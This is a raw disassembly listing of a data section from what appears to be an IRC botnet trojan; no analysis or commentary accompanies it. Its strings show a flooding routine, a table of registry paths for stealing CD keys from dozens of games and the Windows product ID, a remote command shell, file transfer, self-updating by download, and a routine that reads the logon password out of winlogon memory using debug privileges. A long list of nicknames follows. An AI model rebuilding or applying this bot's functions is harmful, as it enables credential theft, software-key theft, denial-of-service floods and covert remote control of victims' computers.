6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_43613C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436150 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 4 dword_436188 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_43619C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361B0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361CC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 4 dd 80000001h off_4361FC dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436208 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 43738Ch, 437380h, 437370h, 2 dup(0) dd 80000001h, 437350h, 43734Ch, 437338h, 2 dup(0) dd 80000001h, 437314h, 43734Ch, 437308h, 2 dup(0) dd 80000001h, 4372E4h, 4372DCh, 4372C8h, 2 dup(0) dd 80000001h, 4372B4h, 4372A4h, 437288h, 2 dup(0) dd 80000001h, 437244h, 4373CCh, 437230h, 2 dup(0) dd 80000002h, 437204h, 4371F8h, 4371D8h, 2 dup(0) dd 80000002h, 4371A4h, 4373CCh, 43718Ch, 2 dup(0) dd 80000002h, 437158h, 4373CCh, 437140h, 2 dup(0) dd 80000002h, 437128h, 4373CCh, 437110h, 2 dup(0) dd 80000002h, 4370D4h, 43D128h, 4370C4h, 2 dup(0) dd 80000002h, 43708Ch, 43D128h, 437078h, 2 dup(0) dd 80000002h, 43702Ch, 43D128h, 43700Ch, 2 dup(0) dd 80000002h, 436FBCh, 43D128h, 436F90h, 2 dup(0) dd 80000002h, 436F54h, 43D128h, 436F40h, 2 dup(0) dd 80000002h, 436F08h, 43D128h, 436EF8h, 2 dup(0) dd 80000002h, 436EA8h, 43D128h, 436E7Ch, 2 dup(0) dd 80000002h, 436E3Ch, 43D128h, 436E20h, 2 dup(0) dd 80000002h, 436DF0h, 43D128h, 436DD0h, 2 dup(0) dd 80000002h, 436D94h, 43D128h, 436D80h, 2 dup(0) dd 80000002h, 436D38h, 43D128h, 436D18h, 2 dup(0) dd 80000002h, 436CC4h, 43D128h, 436C94h, 2 dup(0) dd 80000002h, 436C44h, 43D128h, 436C18h, 2 dup(0) dd 80000002h, 436BD8h, 436BD0h, 436BB0h, 2 dup(0) dd 80000002h, 436B6Ch, 43D128h, 436B50h, 2 dup(0) dd 80000002h, 436B04h, 43D128h, 436AE0h, 2 dup(0) dd 80000002h, 436AACh, 43D128h, 436AA0h, 2 dup(0) dd 80000002h, 436A6Ch, 43D128h, 436A60h, 2 dup(0) dd 80000002h, 436A2Ch, 43D128h, 436A20h, 2 dup(0) dd 80000002h, 4369ECh, 43D128h, 4369E0h, 2 dup(0) dd 80000002h, 4369A4h, 43D128h, 436990h, 2 dup(0) dd 80000002h, 436954h, 43D128h, 436940h, 2 dup(0) dd 80000002h, 436910h, 4373CCh, 4368F4h, 2 dup(0) dd 80000002h, 4368D4h, 4368CCh, 4368A8h, 2 dup(0) dd 80000002h, 43688Ch, 4368CCh, 43686Ch, 2 dup(0) dd 80000002h, 43684Ch, 4368CCh, 436828h, 2 dup(0) dd 80000002h, 436810h, 4368CCh, 43680Ch, 2 dup(0) dd 80000002h, 4367F0h, 4367E0h, 4367D8h, 2 dup(0) dd 80000002h, 4367A4h, 42C220h, 43678Ch, 2 dup(0) dd 80000002h, 436750h, 436744h, 43671Ch, 43670Ch, 4366F8h dd 80000002h, 4366D4h, 4366C8h, 4366B4h, 4366A4h, 43669Ch dd 80000002h, 4366D4h, 4366C8h, 436670h, 4366A4h, 436668h dd 80000002h, 4366D4h, 4366C8h, 436638h, 4366A4h, 436630h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset nullsub_2 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436204o aCdkey db 'CDKey',0 ; DATA XREF: ___:00436200o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361FCo align 4 asc_4373FC: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437400 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_43747C db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_4374A0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B8 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374E4 db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437508 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437520 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437538 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437558 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_43757C db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_4375A0 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375CC db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375EC db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_43761C db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_43764C db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437678 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376AC db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_4376F0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_43770C db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437744 db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_437798 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_4377C0 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_4377E8 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 4 off_437838 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_43783C dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 10h unk_437850 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_43788C db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_4378C8 dd offset byte_5C3A41 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437938 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43796C db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437998 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_4379D0 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A2C dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset loc_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A44 dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 4 unk_437B08 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B54 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437BA4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF8 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" dd offset dword_4387A8 dd offset aE ; "e" dd offset aR ; "r" ; --------------------------------------------------------------------------- add dl, 42h add [edi+eax*4-5587FFBDh], ah inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add al, bl lodsb inc edx add ah, ah retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_4387A0 dd offset dword_43879C dd offset dword_438798 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438794 dd offset dword_438790 dd offset dword_43878C dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438788 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438784 dd offset dword_438780 dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset word_438770 dd offset dword_43876C dd offset aI_0 ; "I" dd offset dword_438768 dd offset dword_438764 dd offset aA_0 ; "A" dd offset dword_438760 dd offset dword_43875C dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset word_43872C dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384C4 dd offset off_4384C0 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_43832C dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; 